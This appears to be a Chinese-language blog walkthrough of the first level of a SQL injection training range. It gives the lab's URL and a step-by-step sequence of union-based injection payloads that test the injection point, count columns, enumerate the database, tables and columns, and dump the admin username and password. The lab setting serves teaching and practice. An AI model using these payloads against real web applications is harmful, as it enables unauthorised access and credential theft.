封神臺靶場:第一章:為了女神小芳!【配套課時:SQL注入攻擊原理 實戰演練】
阿新 • • 發佈:2020-11-14
靶場直鏈
http://59.63.200.79:8003/
請求方式 GET
閉合方式 未知
注入方式 聯合,布林,延時
注入程式碼 id=1 and 1=1
從下圖可以看出,這裡可能存在注入點。
進行注入點測試
?id=1 and 1=1 # 頁面正常顯示
?id=1 and 1=2 # 頁面顯示不正常
?id=1 and sleep(5) # 頁面存在明顯延遲
我們採用簡單方便的聯合注入
用order by X對欄位數進行測試,通過修改X的數量檢視頁面返回是否正常。
經測試,欄位數為2
?id=1111 order by 2
我們採用聯合查詢union select判斷資料輸出時的顯示位置。
?id=-1 union select 111,222
上面的語句,理論上可以,但在這裡好像出了點問題,估計對id值做了一個簡單的處理
我們採用寧外的構造語句
?id=1 and 1=2 union select 111,222
我們直接爆出當前資料庫maoshe
?id=1 and 1=2 union select 111,database()
爆表名
?id=1 and 1=2 union select 111,(select group_concat(table_name,"~") from information_schema.tables where table_schema='maoshe' )
爆欄位名
?id=1 and 1=2 union select 111,(select group_concat(column_name,"~") from information_schema.columns where table_schema='maoshe' and table_name='admin' )
爆出資料
利用獲得庫名、表名、欄位名爆出資料
?id=1 and 1=2 union select 111,(select group_concat(id,'~',username,'~',password,'~') from maoshe.admin)
賬號 admin
密碼 hellohack